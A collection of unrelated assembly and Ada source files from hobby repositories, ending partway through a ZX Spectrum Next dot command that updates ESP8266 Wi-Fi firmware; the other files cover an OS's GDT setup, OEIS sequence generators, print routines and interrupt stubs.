not eax ; NOT will make EAX 0xffffffff
mov eax,1 ; dat exit() syscall
mov ebx,0 ; exit cleanly or x
int 80h ; call the kernel
|
scratch-os-(very-simple)/GDT.asm | EnZon3/Randomness | 1 | 97991 | ; GDT
gdt_start :
gdt_null : ; the mandatory null descriptor
dd 0 x0 ; ’dd ’ means define double word ( i.e. 4 bytes )
dd 0 x0
gdt_code : ; the code segment descriptor
; base =0x0 , limit =0 xfffff ,
; 1st flags : ( present )1 ( privilege )00 ( descriptor type )1 -> 1001 b
; type flags : ( code )1 ( conforming )0 ( readable )1 ( accessed )0 -> 1010 b
; 2nd flags : ( granularity )1 (32 - bit default )1 (64 - bit seg )0 ( AVL )0 -> 1100 b
dw 0 xffff ; Limit ( bits 0 -15)
dw 0 x0 ; Base ( bits 0 -15)
db 0 x0 ; Base ( bits 16 -23)
db 10011010 b ; 1st flags , type flags
db 11001111 b ; 2nd flags , Limit ( bits 16 -19)
db 0 x0 ; Base ( bits 24 -31)
gdt_data : ; the data segment descriptor
; Same as code segment except for the type flags :
; type flags : ( code )0 ( expand down )0 ( writable )1 ( accessed )0 -> 0010 b
dw 0 xffff ; Limit ( bits 0 -15)
dw 0 x0 ; Base ( bits 0 -15)
db 0 x0 ; Base ( bits 16 -23)
db 10010010 b ; 1st flags , type flags
db 11001111 b ; 2nd flags , Limit ( bits 16 -19)
db 0 x0 ; Base ( bits 24 -31)
gdt_end : ; The reason for putting a label at the end of the
; GDT is so we can have the assembler calculate
; the size of the GDT for the GDT decriptor ( below )
; GDT descriptior
gdt_descriptor :
dw gdt_end - gdt_start - 1 ; Size of our GDT , always less one
; of the true size
dd gdt_start ; Start address of our GDT
; Define some handy constants for the GDT segment descriptor offsets , which
; are what segment registers must contain when in protected mode. For example ,
; when we set DS = 0 x10 in PM , the CPU knows that we mean it to use the
; segment described at offset 0 x10 ( i.e. 16 bytes ) in our GDT , which in our
; case is the DATA segment (0 x0 -> NULL ; 0x08 -> CODE ; 0 x10 -> DATA )
CODE_SEG equ gdt_code - gdt_start
DATA_SEG equ gdt_data - gdt_start
|
oeis/010/A010473.asm | neoneye/loda-programs | 11 | 19393 | ; A010473: Decimal expansion of square root of 17.
; Submitted by <NAME>
; 4,1,2,3,1,0,5,6,2,5,6,1,7,6,6,0,5,4,9,8,2,1,4,0,9,8,5,5,9,7,4,0,7,7,0,2,5,1,4,7,1,9,9,2,2,5,3,7,3,6,2,0,4,3,4,3,9,8,6,3,3,5,7,3,0,9,4,9,5,4,3,4,6,3,3,7,6,2,1,5,9,3,5,8,7,8,6,3,6,5,0,8,1,0,6,8,4,2,9,6
mov $1,7
mov $3,$0
mul $3,4
lpb $3
mul $2,2
add $1,$2
add $2,$1
sub $3,1
lpe
mul $1,2
mov $4,10
pow $4,$0
div $2,$4
add $2,1
div $1,$2
mov $0,$1
mod $0,10
|
src/atmosphere_types.ads | onox/orka-demo | 3 | 21939 | <gh_stars>1-10
with GL.Types;
with Orka.Behaviors;
with Integrators.RK4;
package Atmosphere_Types is
type No_Behavior is new Orka.Behaviors.Behavior with record
Position : Orka.Behaviors.Vector4 := Orka.Behaviors.Null_Behavior.Position;
end record;
overriding
function Position (Object : No_Behavior) return Orka.Behaviors.Vector4 is (Object.Position);
-----------------------------------------------------------------------------
type Gravity_Object is new Integrators.Physics_Object with private;
function Altitude (Object : Gravity_Object) return GL.Types.Double;
procedure Set_Mass (Object : in out Gravity_Object; Value : GL.Types.Double);
procedure Set_Gravity (Object : in out Gravity_Object; Value : GL.Types.Double);
procedure Set_Thrust (Object : in out Gravity_Object; Value : GL.Types.Double);
overriding
procedure Update
(Object : in out Gravity_Object;
State : Integrators.Integrator_State;
Delta_Time : Duration);
overriding
function Forces (Object : Gravity_Object) return Integrators.Force_Array_Access;
overriding
function Moments (Object : Gravity_Object) return Integrators.Moment_Array_Access;
overriding
function Inverse_Mass (Object : Gravity_Object) return GL.Types.Double;
overriding
function Inverse_Inertia (Object : Gravity_Object) return GL.Types.Double;
overriding
function Center_Of_Mass (Object : Gravity_Object) return Integrators.Vectors.Vector4;
-----------------------------------------------------------------------------
protected type Integrator is
procedure Initialize
(FDM : Integrators.Physics_Object'Class;
Position, Velocity : Orka.Behaviors.Vector4;
Orientation : Integrators.Quaternions.Quaternion);
procedure Update
(FDM : in out Integrators.Physics_Object'Class;
Delta_Time : Duration);
function State return Integrators.Integrator_State;
private
RK4 : Integrators.RK4.RK4_Integrator;
T : GL.Types.Double := 0.0;
end Integrator;
type Frame_Type is (ECI, ECEF);
type Physics_Behavior (Frame : Frame_Type)
is limited new Orka.Behaviors.Behavior with
record
FDM : Gravity_Object;
Int : Integrator;
end record;
overriding
function Position (Object : Physics_Behavior) return Orka.Behaviors.Vector4;
overriding
procedure Fixed_Update (Object : in out Physics_Behavior; Delta_Time : Duration);
private
type Gravity_Object is new Integrators.Physics_Object with record
F_Gravity : Integrators.Vectors.Vector4 := Integrators.Vectors.Zero_Direction;
F_Anti_Gravity : Integrators.Vectors.Vector4 := Integrators.Vectors.Zero_Direction;
Altitude : GL.Types.Double := 0.0;
Mass : GL.Types.Double := 1.0;
Gravity : GL.Types.Double := 0.0;
Thrust : GL.Types.Double := 0.0;
end record;
end Atmosphere_Types;
|
oeis/248/A248803.asm | neoneye/loda-programs | 11 | 92652 | ; A248803: Decimal expansion of the square root of 101.
; Submitted by <NAME>
; 1,0,0,4,9,8,7,5,6,2,1,1,2,0,8,9,0,2,7,0,2,1,9,2,6,4,9,1,2,7,5,9,5,7,6,1,8,6,9,4,5,0,2,3,4,7,0,0,2,6,3,7,7,2,9,0,5,7,2,8,2,8,2,9,7,3,2,8,4,9,1,2,3,1,5,5,1,9,7,0,3,8,1,2,3,6,1,7,7,6,9,2,4,5,3,9,5,2,3,5
mov $1,1
mov $2,1
mov $3,$0
mul $3,4
lpb $3
mul $1,$3
sub $2,$3
mul $2,$3
add $1,$2
add $2,$1
mul $2,5
sub $3,4
lpe
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mod $1,10
mov $0,$1
|
fizzbuzz/functions.asm | 1fabunicorn/assembly-playground | 0 | 94251 | <filename>fizzbuzz/functions.asm
; credit to https://asmtutor.com
; https://github.com/DGivney/assemblytutorials
;------------------------------------------
; void iprint(Integer number)
; Integer printing function (itoa)
iprint:
push eax ; preserve eax on the stack to be restored after function runs
push ecx ; preserve ecx on the stack to be restored after function runs
push edx ; preserve edx on the stack to be restored after function runs
push esi ; preserve esi on the stack to be restored after function runs
mov ecx, 0 ; counter of how many bytes we need to print in the end
divideLoop:
inc ecx ; count each byte to print - number of characters
mov edx, 0 ; empty edx
mov esi, 10 ; mov 10 into esi
idiv esi ; divide eax by esi
add edx, 48 ; convert edx to it's ascii representation - edx holds the remainder after a divide instruction
push edx ; push edx (string representation of an intger) onto the stack
cmp eax, 0 ; can the integer be divided anymore?
jnz divideLoop ; jump if not zero to the label divideLoop
printLoop:
dec ecx ; count down each byte that we put on the stack
mov eax, esp ; mov the stack pointer into eax for printing
call sprint ; call our string print function
pop eax ; remove last character from the stack to move esp forward
cmp ecx, 0 ; have we printed all bytes we pushed onto the stack?
jnz printLoop ; jump is not zero to the label printLoop
pop esi ; restore esi from the value we pushed onto the stack at the start
pop edx ; restore edx from the value we pushed onto the stack at the start
pop ecx ; restore ecx from the value we pushed onto the stack at the start
pop eax ; restore eax from the value we pushed onto the stack at the start
ret
;------------------------------------------
; void iprintLF(Integer number)
; Integer printing function with linefeed (itoa)
iprintLF:
call iprint ; call our integer printing function
push eax ; push eax onto the stack to preserve it while we use the eax register in this function
mov eax, 0Ah ; move 0Ah into eax - 0Ah is the ascii character for a linefeed
push eax ; push the linefeed onto the stack so we can get the address
mov eax, esp ; move the address of the current stack pointer into eax for sprint
call sprint ; call our sprint function
pop eax ; remove our linefeed character from the stack
pop eax ; restore the original value of eax before our function was called
ret
;------------------------------------------
; int slen(String message)
; String length calculation function
slen:
push ebx
mov ebx, eax
nextchar:
cmp byte [eax], 0
jz finished
inc eax
jmp nextchar
finished:
sub eax, ebx
pop ebx
ret
;------------------------------------------
; void sprint(String message)
; String printing function
sprint:
push edx
push ecx
push ebx
push eax
call slen
mov edx, eax
pop eax
mov ecx, eax
mov ebx, 1
mov eax, 4
int 80h
pop ebx
pop ecx
pop edx
ret
;------------------------------------------
; void sprintLF(String message)
; String printing with line feed function
sprintLF:
call sprint
push eax ; push eax onto the stack to preserve it while we use the eax register in this function
mov eax, 0Ah ; move 0Ah into eax - 0Ah is the ascii character for a linefeed
push eax ; push the linefeed onto the stack so we can get the address
mov eax, esp ; move the address of the current stack pointer into eax for sprint
call sprint ; call our sprint function
pop eax ; remove our linefeed character from the stack
pop eax ; restore the original value of eax before our function was called
ret ; return to our program
;------------------------------------------
; void exit()
; Exit program and restore resources
quit:
mov ebx, 0
mov eax, 1
int 80h
ret
|
programs/oeis/142/A142584.asm | karttu/loda | 0 | 20714 | <reponame>karttu/loda<filename>programs/oeis/142/A142584.asm
; A142584: a(n) = A014217(n+1) - A115360(n+2).
; 2,4,6,10,18,28,46,76,122,198,322,520,842,1364,2206,3570,5778,9348,15126,24476,39602,64078,103682,167760,271442,439204,710646,1149850,1860498,3010348,4870846,7881196,12752042,20633238,33385282,54018520,87403802,141422324,228826126
add $0,1
mov $3,3
mov $4,1
lpb $0,1
sub $0,1
mov $1,$3
mov $3,$4
add $3,$1
mov $4,$1
lpe
add $0,2
div $1,2
add $1,7
mov $2,3
add $2,$0
add $1,$2
sub $1,12
mul $1,3
sub $1,3
div $1,3
mul $1,2
add $1,2
|
classes/3/LearningFlags.asm | UFSCar-CS/computer-architecture-and-organization-2012-2 | 0 | 14041 | TITLE Learning Flags
;Author: @CamiloMoreira
;
;Revision:
INCLUDE Irvine32.inc
.data
val1 BYTE 10h
val2 WORD 8000h
val3 DWORD 0FFFFh
val4 WORD 7FFFh
.code
main PROC
inc val2 ; CF=0 ZF=0 SF=1 OF=0
mov eax, 0h
mov ebx, 0h
mov edx, 0h
sub eax, val3 ; CF=1 ZF=0 SF=1 OF=0
mov bx, val2
sub val4, bx ; CF=1 ZF=0 SF=1 OF=1
mov dx, val2
neg dx ; CF=1 ZF=0 SF=0 OF=0
add dx, bx ; CF=1 ZF=1 SF=0 OF=0
sub dx, val4 ; CF=1 ZF=0 SF=0 OF=0
mov ax, dx
exit
main ENDP
END main |
ScrollModus/_code/GlobalCode/fadeinout.asm | kosmonautdnb/TheLandsOfZador | 0 | 104089 | ; fade in out is disabled in M.o.S II
|
kernel/sys/IDT/irq.asm | EmeraldMastaMC/myOS | 0 | 89119 | <gh_stars>0
%macro pushaq 0
push rax
push rbx
push rcx
push rdx
push rdi
push rsi
push rbp
push rsp
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
%endmacro
%macro popaq 0
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rsp
pop rbp
pop rsi
pop rdi
pop rdx
pop rcx
pop rbx
pop rax
%endmacro
global IRQ0
global IRQ1
global load_IDT
IRQ0:
pushaq
popaq
iretq
extern keyboard_interrupt_handler
IRQ1:
pushaq
call keyboard_interrupt_handler
popaq
iretq
load_IDT:
lidt [rdi]
ret
|
oeis/142/A142950.asm | neoneye/loda-programs | 11 | 13195 | <filename>oeis/142/A142950.asm
; A142950: Primes congruent to 55 mod 64.
; Submitted by <NAME>(s4)
; 311,439,503,631,823,887,1399,1783,1847,2039,2423,2551,2999,3191,3319,3511,3767,4663,4919,5303,5431,5623,5879,6007,6199,6263,6967,7159,7351,7607,7927,8311,8887,8951,9463,9719,10039,10103,10487,11383,11447,11831,11959,12343,12791,12919,12983,13367,13687,13751,13879,14071,14327,14519,15031,15287,15607,15671,15991,16183,16567,16631,16759,16823,17207,17783,17911,18679,18743,19319,19447,20023,20407,20599,20663,20983,21559,21751,21943,22391,23159,23671,24247,24439,24631,25463,25847,26423,27127,27191
mov $1,3
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,24
mov $3,$1
sub $1,4
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,12
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,1
lpe
mov $0,$1
mul $0,2
add $0,49
|
src/asm/main.asm | Threetwosevensixseven/espupdate | 8 | 100942 | ; main.asm
; Copyright 2020 <NAME>
;
; Licensed under the Apache License, Version 2.0 (the "License");
; you may not use this file except in compliance with the License.
; You may obtain a copy of the License at
;
; http://www.apache.org/licenses/LICENSE-2.0
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS,
; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; See the License for the specific language governing permissions and
; limitations under the License.
; Assembles with regular version of Zeus (not Next version),
zeusemulate "Next", "RAW", "NOROM" ; because that makes it easier to assemble dot commandszxnextmap -1,DotCommand8KBank,-1,-1,-1,-1,-1,-1 ; Assemble into Next RAM bank but displace back down to $2000
zxnextmap -1,DotBank1,-1,-1,DotBank2,DotBank3,-1,-1 ; Assemble into Next RAM bank but displace back down to $2000
zoSupportStringEscapes = true; ; Download zeustest.exe from http://www.desdes.com/products/oldfiles/
optionsize 10
CSpect optionbool 15, -10, "CSpect", false ; Option in Zeus GUI to launch CSpect
RealESP optionbool 80, -10, "Real ESP", false ; Launch CSpect with physical ESP in USB adaptor
UploadNext optionbool 160, -10, "Next", false ; Copy dot command to Next FlashAir card
ErrDebug optionbool 212, -10, "Debug", false ; Print errors onscreen and halt instead of returning to BASIC
AppendFW optionbool 270, -10, "AppendFW", false ; Pad dot command and append the NXESP-formatted firmware
org $2000 ; Dot commands always start at $2000
Start:
jr Begin
db "ESPUPDATEv1." ; Put a signature and version in the file in case we ever
BuildNo() ; need to detect it programmatically
db 0
Begin: di ; We run with interrupts off apart from printing and halts
ld (Return.Stack1), sp ; Save so we can always return without needing to balance stack
ld (Return.IY1), iy ; Put IY safe, just in case
ld sp, $4000 ; Put stack safe inside dot command
ld (SavedArgs), hl ; Save args for later
call InstallErrorHandler ; Handle scroll errors during printing and API calls
PrintMsg(Msg.Startup) ; "ESP Update Tool v1.x"
ld a, %0000 0001 ; Test for Next courtesy of <NAME>, thanks :)
MirrorA() ; Z80N-only opcode. If standard Z80 or successors, this will
nop ; be executed as benign opcodes that don't affect the A register.
nop
cp %1000 0000 ; Test that the bits of A were mirrored as expected
ld hl, Err.NotNext ; If not a Spectrum Next,
jp nz, Return.WithCustomError ; exit with an error.
ld a, 1
ld (IsNext), a
NextRegRead(Reg.MachineID) ; If we passed that test we are safe to read machine ID.
and %0000 1111 ; Only look at bottom four bits, to allow for Next clones
cp 10 ; 10 = ZX Spectrum Next
jp z, IsANext ; 8 = Emulator
cp 8 ; Exit with error if not a Next. HL still points to err message,
jp nz, Return.WithCustomError ; be careful if adding code between the Next check and here!
IsANext:
Rst8(esxDOS.M_DOSVERSION) ; Check if we are running in NextZXOS
ld hl, Err.NotOS ; If esxDOS (carry set),
jp c, Return.WithCustomError ; exit with an error.
or a ; If not full NextZXOS (a != 0),
ld hl, Err.NotNB ; exit with an error.
jp nz, Return.WithCustomError ; We could also do NextZXOS version check if we cared.
NextRegRead(Reg.Peripheral2) ; Read Peripheral 2 register.
ld (RestoreF8.Saved), a ; Save current value so it can be restored on exit.
and %0111 1111 ; Clear the F8 enable bit,
nextreg Reg.Peripheral2, a ; And write the entire value back to the register.
NextRegRead(Reg.CPUSpeed) ; Read CPU speed.
and %11 ; Mask out everything but the current desired speed.
ld (RestoreSpeed.Saved), a ; Save current speed so it can be restored on exit.
nextreg Reg.CPUSpeed, %11 ; Set current desired speed to 28MHz.
NextRegRead(Reg.CoreMSB) ; Core Major/Minor version
ld h, a
NextRegRead(Reg.CoreLSB) ; Core Sub version
ld l, a ; HL = version, should be >= $3007
ld de, CoreMinVersion
CpHL(de)
ErrorIfCarry(Err.CoreMin) ; Raise minimum core error if < 3.00.07
GetSizedArg(SavedArgs, FWFileName) ; Parse filename from first arg
jr nc, ArgNotFile ; No arg, not a file
ld hl, 5
CpHL(bc) ; Filenames >=5 chars are legit
jr c, ArgIsFile
ld a, (FWFileName)
cp '-' ; Filenames <5 chars starting with "-" are switches
jr nz, ArgIsFile
ArgNotFile: xor a
jr nc, SaveFileArg
ArgIsFile: ld a, 1
SaveFileArg: ld (HasFWFileName), a ; Save whether we have a filename or not
ld hl, (SavedArgs) ; Start again at the first arg in case it was help
ArgLoop: ld de, ArgBuffer ; Parse remaining args in a loop
call GetSizedArgProc
jr nc, NoMoreArgs
call ParseHelp
call ParseForce
jr ArgLoop
NoMoreArgs:
ld a, (WantsHelp)
or a
jr z, NoHelp
DoHelp: PrintMsg(Msg.Help)
if (ErrDebug)
Freeze(1,2)
else
jp Return.ToBasic
endif
NoHelp:
; This dot command is way larger than 8KB, so we have a strategy for dealing with that.
; NextZXOS will automatically load the first 8KB, which contains all the core code,
; and will leave the file handle open. If the core code is less than 8KB, Zeus will
; pad it to 8KB automatically.
; Use of the NextZXOS API means this dot cmd cannot run under esxDOS, so we must do
; an initial check for NextZXOS, and exit gracefully if not present.
; We call M_GETHANDLE to get and save the handle.
call esxDOS.GetHandle
; The next <=16KB in the file contains the ESP uploader stubs, additional code and buffers.
; This is assembled so that it runs at $8000-BFFF. We will use IDE_BANK to allocate three 8KB
; banks, which must be freed before exiting the dot command.
call Allocate8KBank ; Bank number in A (not E), errors have already been handled
ld (DeallocateBanks.Bank1), a ; Save bank number
call Allocate8KBank ; Bank number in A (not E), errors have already been handled
ld (DeallocateBanks.Bank2), a ; Save bank number
call Allocate8KBank ; Bank number in A (not E), errors have already been handled
ld (DeallocateBanks.Bank3), a ; Save bank number
call Allocate8KBank ; Bank number in A (not E), errors have already been handled
ld (DeallocateBanks.Bank4), a ; Save bank number
; Now we can page in the four 8K banks at $8000, $A000, $C000 and $E000, and try to load the
; remainder of the dot command code. This paging will need to be undone during cmd exit.
nextreg $57, a ; Allocated bank for $E000 was already in A, page it in.
ld a, (DeallocateBanks.Bank1)
nextreg $54, a ; Page in allocated bank for $8000
ld a, (DeallocateBanks.Bank2)
nextreg $55, a ; Page in allocated bank for $A000
ld a, (DeallocateBanks.Bank3)
nextreg $56, a ; Page in allocated bank for $C000
ld hl, $8000 ; Start loading at $8000
ld bc, $4000 ; Load up to 16KB of data
call esxDOS.fRead
ErrorIfCarry(Err.BadDot)
CheckFW:
PrintMsg(Msg.ReadFW)
ld a, (HasFWFileName) ; Do we have a filename from the first arg?
or a
jr z, ReadFW ; We don't have a filename, so try to read the appended FW
call esxDOS.fClose ; Close the dot command, but don't bother handling any errors
ld hl, FWFileName
call esxDOS.fOpen ; Open the external firmware file from its filename
ErrorIfCarry(Err.ReadFW) ; Throw an error if esxDOS returned one
ReadFW: ld hl, $C000 ; Start loading at $C000
ld bc, $0007 ; Load 7 bytes of data
call esxDOS.fRead
ErrorIfCarry(Err.ReadFW)
ld a, b ; If we read zero bytes, either FW wasn't appended to
or c ; the dot cmd, or the external FW file was zero length.
jp nz, FWFound
if enabled AppendFW
ErrorAlways(Err.FWMissing)
else
PrintMsg(Msg.ExternalFW)
ErrorAlways(Err.FWMissing)
endif
FWFound: cp 7 ; Check we read 7 bytes
jp nz, BadFormat
ld hl, $C000 ; Check magic bytes NXESP
ld a, (hl)
cp 'N'
jp nz, BadFormat
inc hl
ld a, (hl)
cp 'X'
jr nz, BadFormat
inc hl
ld a, (hl)
cp 'E'
jr nz, BadFormat
inc hl
ld a, (hl)
cp 'S'
jr nz, BadFormat
inc hl
ld a, (hl)
cp 'P'
jr z, ReadMoreHeader
BadFormat: ErrorAlways(Err.BadFW)
ReadMoreHeader: inc hl
ld c, (hl) ; Read remaining header size
inc hl
ld b, (hl)
ld hl, Header.Len
CpHL(bc) ; Check it isn't bigger than Header buffer
jr c, BadFormat
ld hl, Header.Buffer ; Read remaining header into Header buffer
push hl
call esxDOS.fRead
ErrorIfCarry(Err.BadDot)
pop hl
ld a, (hl) ; Read Version Length
cp 11 ; Can't be more than 10 chars
jr nc, BadFormat
ld c, a ; Save version
ld b, 0
ld de, FWVersion
inc hl
ldir
xor a
ld (de), a ; Add null terminator
ld a, (hl) ; Save flash params
ld (FlashParams), a
inc hl
ld a, (hl)
ld (FlashParams+1), a
inc hl
ld a, (hl) ; Read MD5 length
cp 16 ; Must be 16 (binary, not hex string)
jr nz, BadFormat
inc hl
ld de, FWMD5
ld bc, 16
ldir ; Write MD5
ld e, (hl) ; Read DataBlockSize
inc hl
ld d, (hl)
ld (DataBlockSize), de ; Write DataBlockSize
ld (SLIP.FlashBlock+8), de ; (also write into lower word of SLIP flash header)
ld (SLIP.FinalizeBlock+8), de ; (also write into lower word of SLIP finalize header)
inc hl
ld e, (hl) ; Read FWCompLen
inc hl
ld d, (hl)
inc hl
ld c, (hl)
inc hl
ld b, (hl)
ld (FWCompLen), de
ld (FWCompLen+2), bc ; Write FWCompLen
inc hl
ld a, (hl) ; Read HeaderBlockSize
ld (HeaderBlockSize), a ; Write HeaderBlockSize
inc hl
ld e, (hl) ; Read BlockCount
inc hl
ld d, (hl)
ld (BlockCount), de ; Write BlockCount
ld (SLIP.FlashBlock+4), de ; (also write into lower word of SLIP header)
inc hl
ld c, (hl) ; Read FWCompLenStr size
ld b, 0
inc hl
ld de, FWCompLenStr
ldir ; Write FWCompLenStr
xor a ; with terminating null
ld (de), a
ld (BlockHeaderStart), hl ; Write BlockHeaderStart
FWReadFinished: PrintMsg(Msg.FWVer)
PrintMsg(FWVersion)
PrintMsg(Msg.EOL)
ld a, (Force)
or a
jr nz, SetUARTStdSpeed
PrintMsg(Msg.Confirm)
call WaitKeyYN
jr nc, SetUARTStdSpeed
PrintMsg(Msg.Abort)
jp EndOfCommand
SetUARTStdSpeed:
SetUARTBaud(Baud.b115200, Msg.b115200)
EnableProgMode:
PrintMsg(Msg.ESPProg1) ; "Setting ESP programming mode..."
//PrintMsg(Msg.ESPProg3) ; "Setting RST low"
nextreg 2, 128 ; Set RST low
call Wait5Frames
//PrintMsg(Msg.ESPProg2) ; "Enabling GPIO0 output"
NextRegRead(168)
or %1 ; Set bit 0
nextreg 168, a ; to enable GPIO0
push af
//PrintMsg(Msg.ESPProg4) ; "Setting GPIO0 low"
NextRegRead(169)
and %1111 1110 ; Clear bit 0
push af
nextreg 169, a ; to set GPIO0 low
call Wait5Frames
//PrintMsg(Msg.ESPProg5) ; "Setting RST high"
nextreg 2, 0 ; Set RST high
call Wait5Frames
//PrintMsg(Msg.ESPProg6) ; "Setting GPIO0 high"
pop af
or %1 ; Set bit 0
nextreg 169, a ; to set GPIO0 high
call Wait5Frames
//PrintMsg(Msg.ESPProg7) ; "Disabling GPIO0 output"
pop af
and %1111 1110 ; Clear bit 0
nextreg 168, a ; to disable GPIO0
ld a, 1
ld (InProgMode), a ; Signal that ESP should be reset on exit
DoSync:
PrintMsg(Msg.SendSync)
call ESPFlush ; Clear the UART buffer first
ld b, 2 ; Send ESP Sync command up to seven times
SyncLoop: push bc
ESPSendBytes(SLIP.Sync, SLIP.SyncLen) ; Send the command
pop bc
djnz SyncLoop
//PrintMsg(Msg.RcvSync)
call ESPReadIntoBuffer
ESPValidateCmd($08, Dummy32) ; Check whether this we got a sync response
SyncPass equ $+1: jp c, NotSynced1 ; If we didn't sync the first time,
jr Synced
NotSynced1: ld hl,NotSynced2
ld (SyncPass), hl
PrintMsg(Msg.RetryESP) ; Reset and try a second time.
nextreg 2, 128 ; Set RST low
call Wait80Frames ; Hold in reset a really long time
nextreg 2, 0 ; Set RST high
call Wait80Frames ; Wait a really, really long time
call Wait80Frames
jp EnableProgMode
NotSynced2: ErrorAlways(Err.NoSync) ; Error on second failure
Synced:
ReadEfuses:
//PrintMsg(Msg.Fuse1) ; "Reading eFuses..."
call Wait5Frames
call ESPFlush ; Clear UART buffer
call Wait5Frames
//SetReadTimeout(500)
//call WaitKey
ESPReadReg(0x3ff0005c) ; Read this address
call Wait5Frames
call ESPReadIntoBuffer
//call WaitKey
ESPValidateCmd($0A, eFuse1) ; val = 0x00600194 (on test ESP)
call Wait5Frames
call ESPFlush ; Clear UART buffer
call Wait5Frames
ESPReadReg(0x3ff00058) ; Read this address
call Wait5Frames
call ESPReadIntoBuffer
ESPValidateCmd($0A, eFuse2) ; val = 0x1700B000 (on test ESP)
call Wait5Frames
call ESPFlush ; Clear UART buffer
call Wait5Frames
ESPReadReg(0x3ff00054) ; Read this address
call Wait5Frames
call ESPReadIntoBuffer
ESPValidateCmd($0A, eFuse3) ; val = 0x020021E8 (on test ESP)
call Wait5Frames
call ESPFlush ; Clear UART buffer
call Wait5Frames
ESPReadReg(0x3ff00050) ; Read this address
call Wait5Frames
call ESPReadIntoBuffer
ESPValidateCmd($0A, eFuse4) ; val = 0x5A240000 (on test ESP)
; Full 128b value of all four eFuses = 0x00600194 1700B000 020021E8 5A240000 (on test ESP)
CheckChip:
//PrintBufferHex(eFuses, 16)
; is_8285 = (efuses & ((1 << 4) | 1 << 80)) != 0
; Bit 5 = eFuse4 byte 4 (%0001 0000)
; Bit 81 = eFuse2 byte 2 (%0000 0001)
; Note the words are stored most significant,
; and the bytes are also stored most significant.
; If either of these bits are set, chip is ESP8285, otherwise ESP8266EX.
ld a, (eFuse4+3)
and %0001 0000
jr nz, Is8285_
ld a, (eFuse2+1)
and %0000 0001
jr nz, Is8285_
PrintMsg(Msg.ESP8266EX)
xor a
jr EndCheckChip
Is8285_: PrintMsg(Msg.ESP8285)
ld a, 1
EndCheckChip: ld (Features.Is8285), a
CheckFeatures:
PrintMsg(Msg.FWiFi) ; Every ESP has WiFi
ld a, (Features.Is8285)
or a
jr z, NoEmbFlash
PrintMsg(Msg.FFLash) ; 8285s have embedded flash
ld a, 1
jr EndFeatures
NoEmbFlash: xor a
EndFeatures: ld (Features.EmbFlash), a
ReadMAC:
//PrintMsg(Msg.MAC1) ; "Reading MAC..."
call Wait5Frames
call ESPFlush ; Clear UART buffer
call Wait5Frames
ESPReadReg(ESP_OTP_MAC0) ; Read this address
call Wait5Frames
call ESPReadIntoBuffer
ESPValidateCmd($0A, MAC0) ; val = 0x5A240000 (on test ESP)
call Wait5Frames
call ESPFlush ; Clear UART buffer
call Wait5Frames
ESPReadReg(ESP_OTP_MAC1) ; Read this address
call Wait5Frames
call ESPReadIntoBuffer
ESPValidateCmd($0A, MAC1) ; val = 0x020021E8 (on test ESP)
call Wait5Frames
call ESPFlush ; Clear UART buffer
call Wait5Frames
ESPReadReg(ESP_OTP_MAC3) ; Read this address
call Wait5Frames
call ESPReadIntoBuffer
ESPValidateCmd($0A, MAC3) ; val = 0x00600194 (on test ESP)
//PrintBufferHex(MAC0, 12)
CalculateMAC:
; There are three alternative MAC scenarios. If not of them match, it is a fatal error.
; Scenario 1: mac3 != 0
; Scenario 2: ((mac1 >> 16) & 0xff) == 0
; Scenario 3: ((mac1 >> 16) & 0xff) == 1
; For each scenario, there is an interim calculation
; The interim calculation is then used in the final calculation
; Scenario 1: mac3 != 0
ld hl, (MAC3)
xor a
or h
or l
ld hl, (MAC3+2)
or h
or l
jp z, MACScenario2
; Scenario 1 matches. The interim calculation is:
; oui = ((mac3 >> 16) & 0xff, (mac3 >> 8) & 0xff, mac3 & 0xff)
; val = tuple (0x60, 0x01, 0x94) on test ESP
ld hl, (MAC3+1)
ld (OUI1), hl
ld a, (MAC3+3)
ld (OUI3), a
jr MacFinalCalc
MACScenario2: ld a, (MAC1+1)
or a
jr z, MACIsScenario2
cp 1
jr z, MACScenario3
ErrorAlways(Err.UnknownOUI)
MACIsScenario2:
; Scenario 2 matches. The interim calculation is:
; oui = tuple (0x18, 0xF3, 0x34) hardcoded
ld hl, $F318
ld (OUI1), hl
ld a, $34
ld (OUI3), a
jr MacFinalCalc
MACScenario3:
; Scenario 3 matches. The interim calculation is:
; oui = tuple (0xAC, 0xD0, 0x74) hardcoded
ld hl, $D0AC
ld (OUI1), hl
ld a, $74
ld (OUI3), a
; Fall into final calculation
MacFinalCalc:
; MAC final calculation is:
; MAC = oui + ((mac1 >> 8) & 0xff, mac1 & 0xff, (mac0 >> 24) & 0xff)
; The first three bytes are the precalculated OUI
; The second three bytes are defived from mac1 and mac0
; MAC = tuple (0x18, 0xF3, 0x34, 0x21, 0xE8, 0x5A) on test ESP
; formatted MAC is 60:01:94:21:E8:5A on test ESP
ld hl, (MAC1+2)
ld (OUI4), hl
ld a, (MAC0)
ld (OUI6), a
PrintMAC:
PrintMsg(Msg.MAC2)
ld a, (OUI1)
call PrintAHexNoSpace
ld a, ':'
call Rst16
ld a, (OUI2)
call PrintAHexNoSpace
ld a, ':'
call Rst16
ld a, (OUI3)
call PrintAHexNoSpace
ld a, ':'
call Rst16
ld a, (OUI4)
call PrintAHexNoSpace
ld a, ':'
call Rst16
ld a, (OUI5)
call PrintAHexNoSpace
ld a, ':'
call Rst16
ld a, (OUI6)
call PrintAHexNoSpace
ld a, CR
call Rst16
UploadStub:
PrintMsg(Msg.Stub1)
//SetReadTimeout(50)
; These are the value for uploading the stub:
;
; text_start = 0x4010E000
; text_length = 0x1F60
; text_blocks = 2
; text_block_0_from_offs = 0x0000
; text_block_0_to_offs = 0x1800
; text_block_1_from_offs = 0x1800
; text_block_1_to_offs = 0x3000
;
; data_start = 0x3FFFABA4
; data_length = 0x0300
; data_blocks = 1
; data_block_0_from_offs = 0x0000
; data_block_0_to_offs = 0x1800
; A1: mem_begin(0x1F60, 2, 0x1800, 0x4010E000)
; self.command(op, data, chk, timeout=timeout)
; op = 5
; data = 16 bytes (see below)
; chk = 0
; timeout = 3
; data consists of:
; size = 0x00001F60 (UInt32)
; blocks = 0x00000002 (UInt32)
